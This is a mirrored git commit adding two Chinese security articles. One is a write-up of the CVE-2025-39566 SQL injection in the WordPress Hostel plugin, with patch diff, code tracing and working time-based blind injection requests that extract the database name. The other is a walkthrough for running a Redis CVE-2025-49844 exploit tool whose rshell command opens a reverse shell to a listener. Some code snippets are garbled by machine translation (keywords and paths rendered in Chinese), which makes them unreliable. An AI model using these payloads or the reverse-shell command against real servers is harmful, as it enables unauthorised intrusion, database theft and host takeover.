mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
Redis 远程代码执行漏洞(CVE-2025-49844)、CVE-2025-39566 sql注入漏洞、
This commit is contained in:
1 parent
be04bdec58
commit
50000e9973
3 files changed
+1057
-1
No files matched your search
@@ -17331,5 +17331,7 @@
|
||||
"https://mp.weixin.qq.com/s/NeNJMvrTvgHMXEgw75hUZg": "年度报告 | 2025年漏洞态势全景复盘!",
|
||||
"https://mp.weixin.qq.com/s/GnNxQ29vqFVV43h0CTz5VQ": "网安靶场实战指南(第4期):OWASP Juice Shop入门——前后端分离架构下的漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s/mLIvzi12Xq7mosK-FJD8TQ": "国家漏洞库CNNVD:关于Microsoft Office安全漏洞的通报;韩国公共系统全面沦陷:模拟攻击揭示安全防护重大缺陷| 牛览",
|
||||
"https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析"
|
||||
"https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析",
|
||||
"https://mp.weixin.qq.com/s/HQDSxpkZFgmPWlBLMxiEgw": "Redis 远程代码执行漏洞(CVE-2025-49844)",
|
||||
"https://mp.weixin.qq.com/s/iRSKfbWctpUQYg2tmupopQ": "CVE-2025-39566 sql注入漏洞"
|
||||
}
|
||||
@@ -0,0 +1,993 @@
|
||||
# CVE-2025-39566 sql注入漏洞
|
||||
原创 匆匆过客
|
||||
匆匆过客 天启攻防实验室 2026-01-29 07:04
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Hostel
|
||||
插件在
|
||||
1.1.5.7
|
||||
版本之前存在一个漏洞。由于输入未得到妥善清理,这可能允许攻击者直接与数据库交互,包括但不限于数据窃取。
|
||||
|
||||
·
|
||||
|
||||
CVE 编号
|
||||
:
|
||||
CVE-2025-39566
|
||||
|
||||
·
|
||||
|
||||
产品
|
||||
:
|
||||
WordPress Hostel 插件
|
||||
|
||||
·
|
||||
|
||||
漏洞类型
|
||||
: SQL注入
|
||||
|
||||
·
|
||||
|
||||
受影响版本
|
||||
: <= 1.1.5.6
|
||||
|
||||
·
|
||||
|
||||
CVSS 严重性等级
|
||||
: 7.6 (高危)
|
||||
|
||||
·
|
||||
|
||||
所需权限
|
||||
: 管理员
|
||||
## 环境要求
|
||||
|
||||
·
|
||||
|
||||
本地 WordPress 与调试环境
|
||||
:
|
||||
本地 WordPress 与调试
|
||||
。
|
||||
|
||||
·
|
||||
|
||||
Hostel 插件
|
||||
: v1.1.5.6 (存在漏洞) 和 v1.1.5.7 (已修复)
|
||||
|
||||
·
|
||||
|
||||
差异对比工具
|
||||
:
|
||||
meld
|
||||
或任何能够比较两个版本差异的工具
|
||||
## 分析
|
||||
|
||||
根本原因在于应用程序将来自
|
||||
GET
|
||||
请求的数据直接注入到 SQL 查询中,同时验证/白名单机制不足。
|
||||
### 补丁差异对比
|
||||
|
||||
使用任何差异对比工具来比较存在漏洞的版本和已修复的版本。
|
||||
|
||||
在文件
|
||||
controllers/bookings.php
|
||||
中存在明显差异。
|
||||
|
||||
存在漏洞的版本
|
||||
:
|
||||
|
||||
if
|
||||
(
|
||||
!
|
||||
empty
|
||||
(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])) {
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
$orderby
|
||||
|
||||
=
|
||||
|
||||
"ORDER BY "
|
||||
.
|
||||
sanitize_text_field(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])
|
||||
.
|
||||
|
||||
' '
|
||||
|
||||
.
|
||||
|
||||
$dir
|
||||
;
|
||||
|
||||
}
|
||||
|
||||
已修复的版本
|
||||
:
|
||||
|
||||
if
|
||||
(
|
||||
!
|
||||
empty
|
||||
(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])) {
|
||||
|
||||
|
||||
$ob
|
||||
|
||||
=
|
||||
sanitize_text_field(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])
|
||||
;
|
||||
|
||||
|
||||
if
|
||||
(
|
||||
!
|
||||
in_array
|
||||
(
|
||||
$ob, [
|
||||
'tB.id',
|
||||
'tB.contact_name',
|
||||
'tB.contact_email',
|
||||
'tB.from_date',
|
||||
'tB.amount_paid',
|
||||
'tB.status'
|
||||
])) {
|
||||
|
||||
|
||||
$ob
|
||||
|
||||
=
|
||||
|
||||
'tB.id'
|
||||
;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
$orderby
|
||||
|
||||
=
|
||||
|
||||
"ORDER BY
|
||||
$ob
|
||||
|
||||
$dir
|
||||
"
|
||||
;
|
||||
|
||||
}
|
||||
|
||||
👉 补丁使用了一个
|
||||
白名单
|
||||
来限制哪些列可用于排序;如果提供的值无效,则回退到
|
||||
'tB.id'
|
||||
。
|
||||
|
||||
分析
|
||||
: 漏洞之所以出现,是因为
|
||||
ob
|
||||
参数在
|
||||
sanitize_text_field()
|
||||
之后被直接传递到
|
||||
ORDER BY
|
||||
子句中。该函数仅对 HTML 上下文中的文本进行转义/清理,并未针对 SQL 上下文中的 SQL注入 进行验证或过滤。
|
||||
### 工作原理
|
||||
|
||||
要进行注入,我们需要识别此处使用的完整查询:
|
||||
|
||||
$bookings
|
||||
|
||||
=
|
||||
|
||||
$wpdb
|
||||
->get_results(
|
||||
"SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room FROM "
|
||||
.
|
||||
WPHOSTEL_BOOKINGS
|
||||
.
|
||||
" tB JOIN "
|
||||
.
|
||||
WPHOSTEL_ROOMS
|
||||
.
|
||||
" tR ON tR.id = tB.room_id WHERE is_static=0
|
||||
$where_sql
|
||||
|
||||
$orderby
|
||||
|
||||
$limit_sql
|
||||
"
|
||||
)
|
||||
;
|
||||
|
||||
该查询位于
|
||||
switch
|
||||
结构的
|
||||
default
|
||||
分支中。
|
||||
|
||||
所有这些逻辑都属于
|
||||
WPHostelBookings
|
||||
类的静态
|
||||
manage()
|
||||
方法。
|
||||
|
||||
类 WPHostelBookings {
|
||||
|
||||
|
||||
static
|
||||
函数 manage() {
|
||||
|
||||
|
||||
global
|
||||
|
||||
$wpdb
|
||||
;
|
||||
|
||||
|
||||
$_booking
|
||||
|
||||
=
|
||||
|
||||
new
|
||||
WPHostelBooking()
|
||||
;
|
||||
|
||||
|
||||
switch
|
||||
(
|
||||
@
|
||||
$_GET
|
||||
[
|
||||
'do'
|
||||
]) {
|
||||
|
||||
|
||||
case
|
||||
|
||||
'add'
|
||||
:
|
||||
|
||||
// add handle
|
||||
|
||||
|
||||
break
|
||||
;
|
||||
|
||||
|
||||
case
|
||||
|
||||
'edit'
|
||||
:
|
||||
|
||||
// edit handle
|
||||
|
||||
|
||||
break
|
||||
;
|
||||
|
||||
|
||||
// view/print booking details. Will allow also to confirm/cancel
|
||||
|
||||
|
||||
case
|
||||
|
||||
'view'
|
||||
:
|
||||
|
||||
// view handle
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
break
|
||||
;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// list bookings
|
||||
|
||||
|
||||
default
|
||||
:
|
||||
|
||||
|
||||
// another logic
|
||||
|
||||
|
||||
if
|
||||
(
|
||||
!
|
||||
empty
|
||||
(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])) {
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
$orderby
|
||||
|
||||
=
|
||||
|
||||
"ORDER BY "
|
||||
.
|
||||
sanitize_text_field(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])
|
||||
.
|
||||
|
||||
' '
|
||||
|
||||
.
|
||||
|
||||
$dir
|
||||
;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
$bookings
|
||||
|
||||
=
|
||||
|
||||
$wpdb
|
||||
->get_results(
|
||||
"SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room
|
||||
|
||||
|
||||
FROM "
|
||||
.
|
||||
WPHOSTEL_BOOKINGS
|
||||
.
|
||||
" tB JOIN "
|
||||
.
|
||||
WPHOSTEL_ROOMS
|
||||
.
|
||||
" tR ON tR.id = tB.room_id
|
||||
|
||||
|
||||
WHERE is_static=0
|
||||
$where_sql
|
||||
|
||||
$orderby
|
||||
|
||||
$limit_sql
|
||||
"
|
||||
)
|
||||
;
|
||||
|
||||
|
||||
// another logic
|
||||
|
||||
|
||||
break
|
||||
;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
在 WordPress 中,插件通过
|
||||
插件 API (钩子系统)
|
||||
与核心通信。因此,要找到
|
||||
manage()
|
||||
被调用的位置,我们可以在插件文件夹中搜索字符串
|
||||
"manage"
|
||||
。
|
||||
|
||||

|
||||
|
||||
在文件
|
||||
models/hostel.php
|
||||
中,我们有:
|
||||
|
||||
class
|
||||
WPHostel {
|
||||
|
||||
|
||||
// another logic
|
||||
|
||||
|
||||
static
|
||||
函数 menu() {
|
||||
|
||||
|
||||
// we use 'hostelpro_manage' for consistency with the pro version
|
||||
|
||||
|
||||
$wphostel_caps
|
||||
|
||||
=
|
||||
current_user_can(
|
||||
'manage_options'
|
||||
)
|
||||
?
|
||||
|
||||
'manage_options'
|
||||
|
||||
:
|
||||
|
||||
'hostelpro_manage'
|
||||
;
|
||||
|
||||
|
||||
|
||||
add_menu_page(
|
||||
__
|
||||
(
|
||||
'Hostel',
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
'Hostel',
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
"wphostel_options",
|
||||
|
||||
|
||||
数组(
|
||||
__CLASS__,
|
||||
"options"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
'Settings',
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
'Settings',
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
"wphostel_options",
|
||||
|
||||
|
||||
数组(
|
||||
__CLASS__,
|
||||
"options"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
"Manage Rooms",
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
"Manage Rooms",
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
'wphostel_rooms', 数组(
|
||||
'WPHostelRooms',
|
||||
"manage"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
"Manage Bookings",
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
"Manage Bookings",
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
'wphostel_bookings', 数组(
|
||||
'WPHostelBookings',
|
||||
"manage"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
"Unavailable Dates",
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
"Unavailable Dates",
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
'wphostel_unavailable', 数组(
|
||||
'WPHostelBookings',
|
||||
"unavailable"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
"Email Log",
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
"Email Log",
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
'wphostel_emaillog', 数组(
|
||||
'WPHostelHelp',
|
||||
"email_log"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
"Help",
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
"Help",
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
'wphostel_help', 数组(
|
||||
'WPHostelHelp',
|
||||
"index"
|
||||
))
|
||||
;
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
// another logic
|
||||
|
||||
}
|
||||
|
||||
这里:
|
||||
|
||||
·
|
||||
|
||||
add_menu_page()
|
||||
在管理员仪表板中创建
|
||||
主菜单
|
||||
。
|
||||
|
||||
·
|
||||
|
||||
add_submenu_page()
|
||||
在该菜单下添加
|
||||
子菜单
|
||||
项。
|
||||
|
||||
·
|
||||
|
||||
$回调函数
|
||||
参数是用户点击菜单/子菜单时调用的
|
||||
回调函数
|
||||
。
|
||||
|
||||
示例:
|
||||
|
||||
// add_menu_page($page_title, $menu_title, $capability, $menu_slug, $回调函数 = '', $icon_url = '', $position = null);
|
||||
|
||||
add_menu_page(
|
||||
__
|
||||
(
|
||||
'Hostel',
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
'Hostel',
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
"wphostel_options",
|
||||
|
||||
|
||||
数组(
|
||||
__CLASS__,
|
||||
"options"
|
||||
))
|
||||
;
|
||||
|
||||
// add_submenu_page($parent_slug, $page_title, $menu_title, $capability, $menu_slug, $回调函数 = '');
|
||||
|
||||
add_submenu_page(
|
||||
'wphostel_options',
|
||||
__
|
||||
(
|
||||
"Manage Bookings",
|
||||
'wphostel'
|
||||
),
|
||||
__
|
||||
(
|
||||
"Manage Bookings",
|
||||
'wphostel'
|
||||
),
|
||||
$wphostel_caps,
|
||||
'wphostel_bookings', 数组(
|
||||
'WPHostelBookings',
|
||||
"manage"
|
||||
))
|
||||
;
|
||||
|
||||
// 数组('WPHostelBookings', "manage")); => WPHostelBookings::manage()
|
||||
|
||||
所有这些菜单/子菜单项都在
|
||||
WPHostel
|
||||
类的静态
|
||||
menu()
|
||||
方法中注册。要定位
|
||||
menu()
|
||||
的调用位置,请在插件目录中搜索
|
||||
menu
|
||||
钩子。
|
||||
|
||||

|
||||
|
||||
在插件根文件
|
||||
hostel.php
|
||||
中,我们有:
|
||||
|
||||
add_action(
|
||||
'admin_menu', 数组(
|
||||
"WPHostel",
|
||||
"menu"
|
||||
))
|
||||
;
|
||||
|
||||
// => 回调函数: WPHostel::menu()
|
||||
|
||||
·
|
||||
|
||||
add_action()
|
||||
是 WordPress 插件 API,用于将
|
||||
回调函数
|
||||
附加到
|
||||
动作钩子
|
||||
。
|
||||
|
||||
·
|
||||
|
||||
这里的钩子名称是
|
||||
admin_menu
|
||||
,意味着
|
||||
WPHostel::menu()
|
||||
将在 WordPress 构建管理员仪表板菜单的生命周期中被调用。
|
||||
|
||||
管理员界面中的菜单
|
||||
|
||||
{{< figure src="menu_ui.png" caption="菜单界面" >}}
|
||||
|
||||
调试
|
||||
|
||||
·
|
||||
|
||||
有问题的功能位于
|
||||
预订管理器
|
||||
中,因此在管理员界面中导航到
|
||||
Manage Bookings
|
||||
子菜单。
|
||||
|
||||
·
|
||||
|
||||
在默认分支之前有一个注释
|
||||
// list bookings
|
||||
—— 表明此代码处理
|
||||
列出和排序预订
|
||||
。
|
||||
|
||||
·
|
||||
|
||||
打开你的调试器:
|
||||
|
||||
o
|
||||
|
||||
点击 使用调试器运行。
|
||||
|
||||
o
|
||||
|
||||
在包含漏洞代码的
|
||||
switch
|
||||
分支以及分配漏洞值的具体行设置
|
||||
断点
|
||||
。
|
||||
|
||||
·
|
||||
|
||||
当你点击预订表中的列标题时,观察:
|
||||
|
||||
o
|
||||
|
||||
调试器步入
|
||||
switch
|
||||
。
|
||||
|
||||
o
|
||||
|
||||
使用
|
||||
单步跳过
|
||||
到达
|
||||
default
|
||||
分支。
|
||||
|
||||
o
|
||||
|
||||
继续
|
||||
单步跳过
|
||||
并检查
|
||||
Variables > Locals
|
||||
中的变量。这些变量组合起来形成下面的 SQL 查询。
|
||||
|
||||
组合变量后,完整的查询如下所示:
|
||||
|
||||
SELECT
|
||||
SQL_CALC_FOUND_ROWS tB.
|
||||
*
|
||||
, tR.title
|
||||
as
|
||||
room
|
||||
|
||||
FROM
|
||||
wp_hostel_bookings tB
|
||||
|
||||
JOIN
|
||||
wp_hostel_rooms tR
|
||||
ON
|
||||
tR.
|
||||
id
|
||||
|
||||
=
|
||||
tB.room_id
|
||||
|
||||
WHERE
|
||||
is_static
|
||||
=
|
||||
0
|
||||
|
||||
AND
|
||||
tB.
|
||||
id
|
||||
|
||||
=
|
||||
|
||||
..
|
||||
.
|
||||
|
||||
ORDER
|
||||
|
||||
BY
|
||||
tB.amount_paid
|
||||
ASC
|
||||
|
|
||||
DESC
|
||||
|
||||
|
||||
LIMIT
|
||||
|
||||
..
|
||||
.
|
||||
|
||||
值得注意的是,
|
||||
$orderby
|
||||
变量被赋值为:
|
||||
|
||||
if
|
||||
(
|
||||
!
|
||||
empty
|
||||
(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])) {
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
$orderby
|
||||
|
||||
=
|
||||
|
||||
"ORDER BY "
|
||||
.
|
||||
sanitize_text_field(
|
||||
$_GET
|
||||
[
|
||||
'ob'
|
||||
])
|
||||
.
|
||||
|
||||
' '
|
||||
|
||||
.
|
||||
|
||||
$dir
|
||||
;
|
||||
|
||||
}
|
||||
|
||||
⚠️ 此处的问题:
|
||||
|
||||
·
|
||||
|
||||
ORDER BY
|
||||
之后的部分使用了
|
||||
sanitize_text_field()
|
||||
。
|
||||
|
||||
·
|
||||
|
||||
该函数仅
|
||||
清理 HTML
|
||||
,并未验证或过滤输入以确保其在
|
||||
SQL 上下文
|
||||
中的安全性。
|
||||
|
||||
·
|
||||
|
||||
因此,
|
||||
ob
|
||||
参数(由用户提供)可能被滥用以
|
||||
直接注入 SQL
|
||||
。
|
||||
## 漏洞利用
|
||||
### 检测 SQL 注入
|
||||
|
||||
使用 BurpSuite 的请求
|
||||
:
|
||||
|
||||
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=upcoming&ob=tB.status,(SELECT+SLEEP(10))&dir=ASC HTTP/1.1
|
||||
|
||||
我们用逗号分隔
|
||||
ORDER BY
|
||||
子句,因为它接受
|
||||
多列
|
||||
值。
|
||||
|
||||

|
||||
|
||||
结果:响应时间延迟 → SQL注入 成功。
|
||||
### 从数据库转储数据
|
||||
|
||||
使用 ORD() 绕过
|
||||
'
|
||||
:
|
||||
|
||||
要转储数据库数据,我们需要提取字符,例如
|
||||
数据库名称
|
||||
的第一个字符。
|
||||
|
||||
由于
|
||||
sanitize_text_field()
|
||||
移除了单引号 (
|
||||
'
|
||||
),我们不能使用依赖
|
||||
'
|
||||
的有效载荷。相反,使用
|
||||
ORD()
|
||||
来比较字符的 ASCII 码:
|
||||
|
||||
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(ORD(SUBSTRING(数据库(),1,1))=119,SLEEP(5),0))&dir=ASC HTTP/1.1
|
||||
|
||||
绕过成功 → 我们可以提取数据库名称。
|
||||
|
||||

|
||||
|
||||
使用十六进制编码绕过
|
||||
'
|
||||
(替代方法)
|
||||
|
||||
除了
|
||||
ORD()
|
||||
,我们还可以使用
|
||||
十六进制编码
|
||||
来绕过:
|
||||
|
||||
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,SLEEP(5),0))&dir=ASC HTTP/1.1
|
||||
|
||||
绕过成功 → 数据库名称可以被提取。
|
||||
|
||||

|
||||
## 结论
|
||||
|
||||
WordPress
|
||||
Hostel
|
||||
插件(
|
||||
1.1.5.7
|
||||
之前的版本)中的漏洞
|
||||
CVE-2025-39566
|
||||
源于将用户提供的输入直接插入 SQL 查询而缺乏足够的防护措施,导致了 SQL注入。
|
||||
|
||||
关键要点
|
||||
:
|
||||
|
||||
·
|
||||
|
||||
sanitize_text_field()
|
||||
≠ 针对
|
||||
SQL注入
|
||||
的保护
|
||||
|
||||
·
|
||||
|
||||
清楚地区分针对 HTML 上下文的输入清理和针对 SQL 上下文的验证/清理
|
||||
## 参考资料
|
||||
|
||||
SQL注入 备忘单 – PortSwigger
|
||||
|
||||
WordPress Hostel 插件 <= 1.1.5.6 存在 SQL注入 漏洞 - patchstack
|
||||
|
||||
|
||||
更多实战内容尽在星球:
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
# Redis 远程代码执行漏洞(CVE-2025-49844)
|
||||
【白】
|
||||
【白】 白安全组 2026-01-29 05:59
|
||||
|
||||
前言
|
||||
|
||||
此漏洞利用的是 Redis 源代码中一处已存在约 13 年的 “释放后使用”(Use-After-Free,
|
||||
|
||||
UAF)内存损坏漏洞。经过身份验证的攻击者可发送特制的恶意 Lua 脚本(Redis 默认支持该功能),
|
||||
|
||||
突破 Lua 沙箱限制,在 Redis 主机上执行任意原生代码。这将使攻击者获得主机系统的完全控制权,
|
||||
|
||||
进而窃取、删除或加密敏感数据,劫持资源,并在云环境中横向移动。
|
||||
|
||||
正文
|
||||
|
||||
1、首先我们需要在监听机器上开启nc准备反弹
|
||||
|
||||
安装 uv
|
||||
```
|
||||
tar xf uv-x86_64-unknown-linux-gnu.tar.gz --strip-components=1 -C /usr/bin/
|
||||
```
|
||||
|
||||
解压测试工具
|
||||
```
|
||||
unzip cve-2025-49844-main.zip
|
||||
```
|
||||
```
|
||||
cd cve-2025-49844-main
|
||||
```
|
||||
|
||||
安装配置依赖包:
|
||||
```
|
||||
uv run --index-url https://pypi.tuna.tsinghua.edu.cn/simple
|
||||
```
|
||||
|
||||
漏洞利用
|
||||
```
|
||||
uv run cve-2025-49844 rshell -H 192.168.1.53 -P 6379 -l 192.168.1.53 -p 4444
|
||||
```
|
||||
```
|
||||
-H 目标 redis 服务器的 ip
|
||||
-P redis 目标端口
|
||||
-l nc监听ip
|
||||
-p 监听端口
|
||||
-Password redis 连接密码默认没有
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
工具包关注公众号发送
|
||||
```
|
||||
redis-rce
|
||||
```
|
||||
|
||||
获取
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user